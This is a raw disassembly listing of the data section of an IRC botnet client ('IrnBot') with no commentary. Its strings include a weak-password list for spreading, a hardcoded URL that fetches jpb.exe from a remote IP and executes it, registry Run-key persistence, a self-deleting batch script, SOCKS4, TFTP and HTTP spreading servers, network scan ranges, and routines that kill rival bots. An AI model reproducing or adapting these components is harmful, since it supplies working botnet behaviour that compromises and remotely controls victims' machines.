aControl	db 'control',0          ; DATA XREF: .data:00425A30o
aOffice		db 'office',0           ; DATA XREF: .data:00425A34o
		align 4
aBlank		db 'blank',0            ; DATA XREF: .data:00425A38o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:00425A3Co
aMain		db 'main',0             ; DATA XREF: .data:00425A40o
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:00425A44o
aInternet_0	db 'internet',0         ; DATA XREF: .data:00425A48o
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .data:00425A4Co
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:00425A50o
aTeacher	db 'teacher',0          ; DATA XREF: .data:00425A54o
aStaff		db 'staff',0            ; DATA XREF: .data:00425A58o
		align 4
aBadAllocatio_3	db 'bad allocation',0   ; DATA XREF: .data:0042582Co
		align 4
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_41AD77+21o
		align 4
aMhz		db '~MHz',0             ; DATA XREF: sub_41AD77+4Ao
		align 10h
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_41AD77+6Do
aS_7		db '%s',0               ; DATA XREF: sub_41AD77+ADo
		align 4
aSC_0		db '%s%c',0             ; DATA XREF: sub_41AD77+112o
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_41AD77+165o
aHardwareDesc_0	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\%i',0
					; DATA XREF: sub_41AD77+1B7o
aSysinfo	db 'sysinfo',0          ; DATA XREF: .text:0041CC06o
aNetinfo	db 'netinfo',0          ; DATA XREF: .text:0041CC22o
aBadAllocatio_4	db 'bad allocation',0   ; DATA XREF: .data:00425A60o
		align 4
aS4		db 's4',0               ; DATA XREF: .text:0041CBCEo
		align 4
aS4_stop	db 's4.stop',0          ; DATA XREF: .text:0041CBEAo
aS4SocketError	db 'S4: socket() Error',0
		align 4
aS4BindError	db 'S4: bind() Error',0 ; DATA XREF: sub_4145BE+A8o
		align 4
aS4ListenError	db 'S4: listen() Error',0 ; DATA XREF: sub_4145BE+C1o
		align 10h
aS4SI		db 'S4: %s:%i',0        ; DATA XREF: sub_4145BE+132o
		align 4
aSc		db 'SC',0               ; DATA XREF: sub_4145BE+18Eo
		align 10h
aBadAllocatio_5	db 'bad allocation',0   ; DATA XREF: .data:00425A64o
		align 10h
aHttp		db 'http',0             ; DATA XREF: .text:0041CBB2o
		align 4
aBadAllocatio_6	db 'bad allocation',0   ; DATA XREF: .data:00425A68o
		align 4
aI_quit		db 'i.quit',0           ; DATA XREF: .text:0041CB5Eo
		align 10h
aI_join		db 'i.join',0           ; DATA XREF: .text:0041CB7Ao
		align 4
aI_part		db 'i.part',0           ; DATA XREF: .text:0041CB96o
		align 10h
aBadAllocatio_7	db 'bad allocation',0   ; DATA XREF: .data:00425A6Co
		align 10h
aHttp217_67_229	db 'http://217.67.229.212/phpbb/uploads/jpb.exe',0
					; DATA XREF: sub_41C135+51o
aCJpb_exe	db 'C:\jpb.exe',0       ; DATA XREF: sub_41C135+84o
		align 4
aDl		db 'DL',0               ; DATA XREF: sub_41C135+E9o
		align 4
aDownload	db 'download',0         ; DATA XREF: .text:0041CB26o
		align 4
aUpdate		db 'update',0           ; DATA XREF: .text:0041CB42o
		align 10h
aMozilla5_0	db 'Mozilla/5.0',0      ; DATA XREF: sub_41BED6+33o
aDlDownloadingS	db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_41BED6+51o
		align 4
aDlFailedBadLoc	db 'DL: Failed; Bad Location.',0 ; DATA XREF: sub_41BED6:loc_41C0A0o
		align 4
aDlDownloadSIBy	db 'DL: Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0
					; DATA XREF: sub_41BED6+156o
		align 10h
aMainUninstalli	db 'Main: Uninstalling Drone',0 ; DATA XREF: sub_41BED6+1A7o
		align 4
aDlFailedToUpda	db 'DL: Failed To Update',0 ; DATA XREF: sub_41BED6:loc_41C0A7o
		align 4
aDlErrorExecuti	db 'DL: Error Executing File.',0 ; DATA XREF: sub_41BED6+1EDo
		align 10h
aDlExecutedFile	db 'DL: Executed File: %s',0 ; DATA XREF: sub_41BED6+1FCo
		align 4
aDlFailedBadUrl	db 'DL: Failed; Bad URL',0 ; DATA XREF: sub_41BED6:loc_41C0EEo
aDlFailedWinine	db 'DL: Failed; WinINET Error',0 ; DATA XREF: sub_41BED6:loc_41C0F5o
		align 4
aBadAllocatio_8	db 'bad allocation',0   ; DATA XREF: .data:00425A70o
		align 4
aBadAllocatio_9	db 'bad allocation',0   ; DATA XREF: .data:00425A74o
		align 4
aTftpServer	db 'TFTP Server',0      ; DATA XREF: sub_41BD26+5Ao
aRb		db 'rb',0               ; DATA XREF: sub_41B981+44o
		align 4
aTftpSendComple	db 'TFTP: Send Complete To %s. %d Total Sends',0
					; DATA XREF: sub_41B981+1A4o
		align 4
aBadAllocati_10	db 'bad allocation',0   ; DATA XREF: .data:00425A78o
		align 8
		dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh
		dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h
		dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h
		dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh
		dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h
		dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h
		dd 6CA6351h, 14292967h,	27B70A85h, 2E1B2138h, 4D2C6DFCh
		dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h
		dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h
		dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h
		dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh
		dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h
		dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h
		dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch
		dd 1F83D9ABh, 5BE0CD19h
dword_41F9F8	dd 0D728AE22h		; DATA XREF: sub_414BC0+318r
dword_41F9FC	dd 428A2F98h		; DATA XREF: sub_414BC0+31Fr
dword_41FA00	dd 23EF65CDh		; DATA XREF: sub_414BC0+548r
dword_41FA04	dd 71374491h		; DATA XREF: sub_414BC0+54Fr
dword_41FA08	dd 0EC4D3B2Fh		; DATA XREF: sub_414BC0+772r
dword_41FA0C	dd 0B5C0FBCFh		; DATA XREF: sub_414BC0+779r
dword_41FA10	dd 8189DBBCh		; DATA XREF: sub_414BC0+9B8r
dword_41FA14	dd 0E9B5DBA5h		; DATA XREF: sub_414BC0+9BFr
dword_41FA18	dd 0F348B538h		; DATA XREF: sub_414BC0+BFEr
dword_41FA1C	dd 3956C25Bh		; DATA XREF: sub_414BC0+C09r
dword_41FA20	dd 0B605D019h		; DATA XREF: sub_414BC0+E80r
dword_41FA24	dd 59F111F1h		; DATA XREF: sub_414BC0+E87r
dword_41FA28	dd 0AF194F9Bh		; DATA XREF: sub_414BC0+10D7r
dword_41FA2C	dd 923F82A4h		; DATA XREF: sub_414BC0+10DEr
dword_41FA30	dd 0DA6D8118h		; DATA XREF: sub_414BC0+1319r
dword_41FA34	dd 0AB1C5ED5h		; DATA XREF: sub_414BC0+1320r
dword_41FA38	dd 0A3030242h		; DATA XREF: sub_414BC0+1569r
dword_41FA3C	dd 0D807AA98h		; DATA XREF: sub_414BC0+1570r
dword_41FA40	dd 45706FBEh		; DATA XREF: sub_414BC0+17ABr
dword_41FA44	dd 12835B01h		; DATA XREF: sub_414BC0+17B2r
dword_41FA48	dd 4EE4B28Ch		; DATA XREF: sub_414BC0+19F3r
dword_41FA4C	dd 243185BEh		; DATA XREF: sub_414BC0+19FAr
dword_41FA50	dd 0D5FFB4E2h		; DATA XREF: sub_414BC0+1C39r
dword_41FA54	dd 550C7DC3h		; DATA XREF: sub_414BC0+1C40r
dword_41FA58	dd 0F27B896Fh		; DATA XREF: sub_414BC0+1E91r
dword_41FA5C	dd 72BE5D74h		; DATA XREF: sub_414BC0+1E9Cr
dword_41FA60	dd 3B1696B1h		; DATA XREF: sub_414BC0+210Dr
dword_41FA64	dd 80DEB1FEh		; DATA XREF: sub_414BC0+2114r
dword_41FA68	dd 25C71235h		; DATA XREF: sub_414BC0+236Ar
dword_41FA6C	dd 9BDC06A7h		; DATA XREF: sub_414BC0+2371r
dword_41FA70	dd 0CF692694h		; DATA XREF: sub_414BC0+25B8r
dword_41FA74	dd 0C19BF174h		; DATA XREF: sub_414BC0+25BFr
		dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h
		dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh
		dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh,	831153B5h
		dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h,	0A831C66Dh
		dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h
		dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h
		dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h
		dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h
		dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h
		dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h
		dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h
		dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h
		dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h,	0B8D2D0C8h
		dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h,	2748774Ch
		dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh
		dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h,	682E6FF3h
		dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h
		dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh
		dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh
		dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h
		dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh
		dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh,	113F9804h
		dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h
		dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h
		dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh
		dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h,	0CBBB9D5Dh
		dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h
		dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h,	8EB44A87h
		dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0)
byte_41FEF8	db 8, 0C9h		; DATA XREF: sub_414B90+17o
; ---------------------------------------------------------------------------
		mov	esp, 9E667F3h
		push	3Bh
		cmpsd
		retf	8584h
; ---------------------------------------------------------------------------
		db 0AEh, 67h, 0BBh
		dd 0FE94F82Bh, 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h
		dd 510E527Fh, 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh,	1F83D9ABh
		dd 137E2179h, 5BE0CD19h, 90h dup(0)
dword_420178	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 20646162h, 6F6C6C61h
		dd 69746163h, 6E6Fh
dword_420198	dd 255C7325h, 73h	; DATA XREF: sub_417776+DCo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_417776+10Co
		align 10h
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_417776+14Fo
		align 10h
aSS_3		db '%s\%s',0            ; DATA XREF: sub_417909+BAo
		align 4
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_417909+F9o
		align 4
aSoftwareMicr_2	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_417909+14Do
		align 4
aBadAllocati_11	db 'bad allocation',0   ; DATA XREF: .data:00425C2Co
		align 4
aInstall	db '--install ',0       ; DATA XREF: sub_41C28D+61o
		align 4
aSS_6		db '%s\%s',0            ; DATA XREF: sub_41C28D+10Fo
		align 4
aSSS_0		db '%s %s%s',0          ; DATA XREF: sub_41C28D+1DDo
aS_11		db '%s',0               ; DATA XREF: sub_41C28D+273o
		align 4
aRm		db 'RM',0               ; DATA XREF: sub_41C28D+35Eo
		align 4
aBk		db 'BK',0               ; DATA XREF: sub_41C28D+397o
		align 10h
aUnm		db 'UNM',0              ; DATA XREF: sub_41C28D+3BCo
aBadAllocati_12	db 'bad allocation',0   ; DATA XREF: .data:00426C0Co
		align 4
aSS_7		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_418A8C+42o
aSS_8		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_41881F+159o
aSS_9		db '%s-%s',0            ; DATA XREF: sub_41881F+1D6o
		align 4
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_41881F+24Do
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_4202E4	db 0Dh,0Ah,0		; DATA XREF: sub_4186F1+7Eo
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_4186F1+B6o
		align 4
asc_4202EC	db 0Dh,0Ah,0		; DATA XREF: sub_4186F1+CBo
		align 10h
aSSS_1		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_417B51+C2o
		align 4
aS_12		db '%s',0               ; DATA XREF: sub_41802D+4Ao
		align 10h
asc_420300	db ' :',0               ; DATA XREF: sub_41802D+7Eo
		align 4
aS_13		db '%s',0               ; DATA XREF: sub_41802D+8Ao
		align 4
asc_420308:				; DATA XREF: sub_41802D+E1o
		unicode	0, < >,0
aS_14		db '%s',0               ; DATA XREF: sub_41802D+FAo
		align 10h
asc_420310:				; DATA XREF: sub_41802D+124o
		unicode	0, < >,0
aSS_10		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_41802D+24Ao
aSSS_2		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_41802D+31Eo
		align 4
a001		db '001',0              ; DATA XREF: sub_41802D+33Ao
aSSSSSS		db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_41802D+3D3o
		db '%s %s %s',0Dh,0Ah,0
		align 4
a332		db '332',0              ; DATA XREF: sub_41802D+417o
asc_420348	db ' :',0               ; DATA XREF: sub_41802D+499o
		align 4
aS_0		db '%s',0               ; DATA XREF: sub_41802D+4A5o
		align 10h
asc_420350:				; DATA XREF: sub_41802D+4D9o
		unicode	0, <!>,0
aS_1		db '%s',0               ; DATA XREF: sub_41802D+4E5o
		align 4
a332_0		db '332',0              ; DATA XREF: sub_41802D+52Do
aS_2		db '%s',0               ; DATA XREF: sub_41802D+546o
		align 10h
aS_3		db '%s',0               ; DATA XREF: sub_41802D+5B1o
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_41802D+5DFo
		align 4
asc_420368:				; DATA XREF: sub_41802D+64Eo
		unicode	0, <;>,0
asc_42036C:				; DATA XREF: sub_41802D:loc_418682o
		unicode	0, <;>,0
asc_420370:				; DATA XREF: sub_41802D:loc_41868Fo
		unicode	0, <;>,0
asc_420374:				; DATA XREF: sub_417E66+Co
		unicode	0, < >,0
aS_8		db '-s',0               ; DATA XREF: sub_417E66+27o
		align 4
aS_9		db '/s',0               ; DATA XREF: sub_417E66+3Fo
		align 10h
asc_420380:				; DATA XREF: sub_417E66:loc_417EBAo
		unicode	0, < >,0
aQwertyuiopasdf	db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0
					; DATA XREF: sub_417C7B+21o
		align 4
asc_4203BC:				; DATA XREF: sub_417C7B+5Eo
		unicode	0, <[>,0
aSS		db '%s%s|',0            ; DATA XREF: sub_417C7B+95o
		align 4
aSS_0		db '%s%s|',0            ; DATA XREF: sub_417C7B+C5o
		align 10h
aSp		db '%sP|',0             ; DATA XREF: sub_417C7B+F0o
		align 4
aS0I64u		db '%s0%I64u|',0        ; DATA XREF: sub_417C7B+12Fo
		align 4
aSI64u		db '%s%I64u|',0         ; DATA XREF: sub_417C7B+150o
		align 10h
aSC		db '%s%c',0             ; DATA XREF: sub_417C7B+18Fo
		align 4
aS		db '%s]',0              ; DATA XREF: sub_417C7B+1BAo
aBadAllocati_13	db 'bad allocation',0
		align 4
aHs		db 'HS',0               ; DATA XREF: sub_419507+28o
		align 10h
aIrnbot		db 'IrnBot',0           ; DATA XREF: sub_419430+89o
		align 4
aSS_1		db '%s\%s',0            ; DATA XREF: sub_41930F+4Eo
		align 10h
aGet		db 'GET',0              ; DATA XREF: sub_418D42+B7o
aQue?		db 'Que?',0             ; DATA XREF: sub_418D42+C7o
		align 10h
aHttp1_1501NotI	db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_418D42+10Fo
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
aSSSS		db '%s\%s\%s%s',0       ; DATA XREF: sub_418D42+229o
		align 4
aSSS		db '%s\%s\%s',0         ; DATA XREF: sub_418D42+1F2o
		align 10h
aSS_4		db '%s\%s',0            ; DATA XREF: sub_418D42+25Ao
		align 4
aQue?_0		db 'Que?',0             ; DATA XREF: sub_418D42+3A8o
		align 10h
aQue?_1		db 'Que?',0             ; DATA XREF: sub_418D42+2BEo
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_418D42+3FCo
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttpTransferD_	db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0
					; DATA XREF: sub_418D42+51Do
		align 4
aHttpTransfer_0	db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0
					; DATA XREF: sub_418D42+54Ao
		align 4
asc_42054C	db 0Dh,0Ah,0		; DATA XREF: sub_418CAF+11o
		align 10h
asc_420550:				; DATA XREF: sub_418CAF:loc_418CDBo
		unicode	0, < >,0
asc_420554:				; DATA XREF: sub_418CAF+3Do
		unicode	0, < >,0
asc_420558:				; DATA XREF: sub_418CAF+54o
		unicode	0, < >,0
asc_42055C	db 0Dh,0Ah		; DATA XREF: sub_418CAF+78o
		db 0Dh,0Ah,0
		align 4
asc_420564	db '%x',0               ; DATA XREF: sub_418B86+CAo
		align 4
aBadAllocati_14	db 'bad allocation',0
		align 4
aS_15		db '%s',0               ; DATA XREF: sub_41BDAA+74o
		align 4
aSX		db '%s%X',0             ; DATA XREF: sub_41BDAA+ECo
		align 4
aBadAllocati_15	db 'bad allocation',0
		align 4
a@echoOff1DelSI	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4198AD+7Eo
		db ':1',0Dh,0Ah
		db 'del "%s"',0Dh,0Ah
		db 'if exist "%s" goto 1',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 10h
aSTmpIIICCC_bat	db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_4198AD+FCo
		align 4
aW:					; DATA XREF: sub_4198AD+110o
		unicode	0, <w>,0
aS_6		db '%s',0               ; DATA XREF: sub_4198AD+12Bo
		align 4
aRegistryMonito	db 'Registry Monitor',0 ; DATA XREF: sub_419C67+D9o
		align 4
aSoftwareMicr_3	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_419C67+12Ao
		align 4
aQuitSYouKill_0	db 'QUIT :%s YOU KILLED ME :<',0Dh,0Ah,0
aQuitSYouKilled	db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0
					; DATA XREF: sub_419C67+15Ao
		align 4
aRemoveAuthenti	db 'Remove: Authentication Failed.',0
		align 4
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4197B6+4Eo
aVis		db 'VIS',0              ; DATA XREF: sub_419641+42o
a2k3		db '2K3',0              ; DATA XREF: sub_419641+55o
aXp_0		db 'XP',0               ; DATA XREF: sub_419641+62o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_419641+6Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_419641+81o
		align 4
a98		db '98',0               ; DATA XREF: sub_419641+8Eo
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_419641+A0o
		align 4
a95		db '95',0               ; DATA XREF: sub_419641+ADo
		align 4
aUnk		db 'UNK',0              ; DATA XREF: sub_419641:loc_4196F5o
aOsMicrosoftWin	db '[OS: Microsoft Windows %s %s (%i.%i build %i)]',0
					; DATA XREF: sub_419641+108o
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_419641+13Ao
		align 10h
a192_168__	db '192.168.*.*',0      ; DATA XREF: sub_419B37+32o
a10___		db '10.*.*.*',0         ; DATA XREF: sub_419B37+46o
		align 4
a111___		db '111.*.*.*',0        ; DATA XREF: sub_419B37+5Ao
		align 4
a15___		db '15.*.*.*',0         ; DATA XREF: sub_419B37+6Eo
		align 10h
a16___		db '16.*.*.*',0         ; DATA XREF: sub_419B37+82o
		align 4
a101___		db '101.*.*.*',0        ; DATA XREF: sub_419B37+96o
		align 4
a110___		db '110.*.*.*',0        ; DATA XREF: sub_419B37+A6o
		align 4
a112___		db '112.*.*.*',0        ; DATA XREF: sub_419B37+B6o
		align 10h
a170_65__	db '170.65.*.*',0       ; DATA XREF: sub_419B37+C6o
		align 4
a172_D__	db '172.%d.*.*',0       ; DATA XREF: sub_419B37+E0o
		align 4
aBadAllocati_16	db 'bad allocation',0
		align 4
aBadAllocati_17	db 'bad allocation',0
		align 4
aMessageboxa_0	db 'MessageBoxA',0      ; DATA XREF: sub_419E67+12o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_419E67+17o
		align 10h
dword_4207B0	dd 0D010Fh, 0C3000000h,	0 ; DATA XREF: sub_419DDC+19o
		dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 20646162h, 6F6C6C61h
		dd 69746163h, 6E6Fh
dword_4207DC	dd 63257325h, 0		; DATA XREF: sub_419EC1+55o
		dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh
dword_4207F4	dd 6C6E6977h, 6E6F676Fh, 6578652Eh, 0 ;	DATA XREF: sub_41A690+3Co
dword_420804	dd 68637673h, 2E74736Fh, 657865h ; DATA	XREF: sub_41A690+44o
dword_420810	dd 76726573h, 73656369h, 6578652Eh, 0 ;	DATA XREF: sub_41A690+4Co
aOpenthread	db 'OpenThread',0       ; DATA XREF: sub_41A690+5Fo
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+64o
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_41A690+78o
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+7Do
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_41A690+8Co
		align 4
aKernel32_dll_2	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+91o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_41A690+A0o
		align 4
aKernel32_dll_3	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+A5o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_41A690+B4o
		align 4
aKernel32_dll_4	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+B9o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_41A690+C8o
		align 4
aKernel32_dll_5	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+CDo
		align 4
aModule32next	db 'Module32Next',0     ; DATA XREF: sub_41A690+DCo
		align 4
aKernel32_dll_6	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+E1o
		align 4
aThread32first	db 'Thread32First',0    ; DATA XREF: sub_41A690+F0o
		align 4
aKernel32_dll_7	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+F5o
		align 4
aThread32next	db 'Thread32Next',0     ; DATA XREF: sub_41A690+104o
		align 4
aKernel32_dll_8	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+109o
		align 4
aReadprocessmem	db 'ReadProcessMemory',0 ; DATA XREF: sub_41A690+118o
		align 4
aKernel32_dll_9	db 'kernel32.dll',0     ; DATA XREF: sub_41A690+11Do
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_41A690+12Co
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_41A690+131o
		align 4
aSS_2		db '%s\%s',0            ; DATA XREF: sub_41A690+1F5o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A690+2BEo
		align 4
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A690+365o
		align 4
aSystem		db 'System',0           ; DATA XREF: sub_41A690+390o
		align 4
aBotKilledS	db 'Bot Killed: %s',0   ; DATA XREF: sub_41A690+451o
		align 4
aSoftwareMicr_4	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_41A28F+36o
		align 4
aSoftwareMicr_5	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
					; DATA XREF: sub_41A28F+3Do
		align 4
aSoftwareMicr_6	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0
					; DATA XREF: sub_41A28F+44o
aSoftwareMicr_7	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: sub_41A28F+4Bo
		align 4
aSystemControls	db 'SYSTEM\ControlSet001\Services\Eventlog\System',0
					; DATA XREF: sub_41A45D+26o
		align 4
aSS_5		db '%s\%s',0            ; DATA XREF: sub_41A45D+E4o
		align 4
aLdm		db 'LDM',0              ; DATA XREF: sub_41A45D+118o
aNetdde		db 'NetDDE',0           ; DATA XREF: sub_41A45D+12Bo
		align 4
aEventmessagefi	db 'EventMessageFile',0 ; DATA XREF: sub_41A45D+142o
		align 4
aBadAllocati_18	db 'bad allocation',0
		align 4
aListTTooLong	db 'list<T> too long',0 ; DATA XREF: sub_40121E+2Bo
					; sub_4016BA+2Bo
		align 10h
		dd offset dword_421008
off_420B24	dd offset nullsub_23	; DATA XREF: sub_41C22E+23o
dword_420B28	dd 7325h		; DATA XREF: sub_40177B+EBo
					; sub_4019F3+EBo ...
dword_420B2C	dd 652Dh		; DATA XREF: sub_40177B+1D5o
dword_420B30	dd 31h			; DATA XREF: sub_40177B+1E7o
dword_420B34	dd 4C44h		; DATA XREF: sub_40177B+23Fo
					; sub_4019F3+1F1o
aDlAuthFailure_	db 'DL: Auth Failure.',0 ; DATA XREF: sub_40177B:loc_4019C8o
		align 4
aDlInvalidArgum	db 'DL: Invalid Arguments',0 ; DATA XREF: sub_40177B:loc_4019D5o
		align 4
aUpdAuthFailure	db 'UPD: Auth Failure.',0 ; DATA XREF: sub_4019F3:loc_401BF2o
		align 4
aUpdInvalidArgu	db 'UPD: Invalid Arguments.',0 ; DATA XREF: sub_4019F3:loc_401BFFo
		dd offset dword_4211B8
off_420B94	dd offset sub_40177B	; DATA XREF: .text:0041CB35o
					; .data:off_4356A8o
		dd offset dword_42116C
off_420B9C	dd offset sub_4019F3	; DATA XREF: .text:0041CB51o
					; .data:off_4356A4o
dword_420BA0	dd 25207325h, 73h	; DATA XREF: sub_401C1D+8Fo
dword_420BA8	dd 54495551h, 73253A20h, 0A0Dh ; DATA XREF: sub_401C1D+BFo
aQuitIrnPowered	db 'QUIT :Irn Powered',0Dh,0Ah,0 ; DATA XREF: sub_401C1D:loc_401CF7o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401D0C+1Eo
		align 4
aJoinS		db 'JOIN %s',0Dh,0Ah,0  ; DATA XREF: sub_401D0C+30o
		align 4
aIInsufficientA	db 'I: Insufficient Arguments.',0 ; DATA XREF: sub_401D0C:loc_401D4Ao
					; sub_401D67:loc_401D8Ao
		align 10h
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401D67+14o
		align 4
		dd offset dword_42129C
off_420C10	dd offset sub_401C1D	; DATA XREF: .text:0041CB6Do
					; .data:off_4356B4o
		dd offset dword_421250
off_420C18	dd offset sub_401D0C	; DATA XREF: .text:0041CB89o
					; .data:off_4356ACo
		dd offset dword_421204
off_420C20	dd offset sub_401D67	; DATA XREF: .text:0041CBA5o
					; .data:off_4356B0o
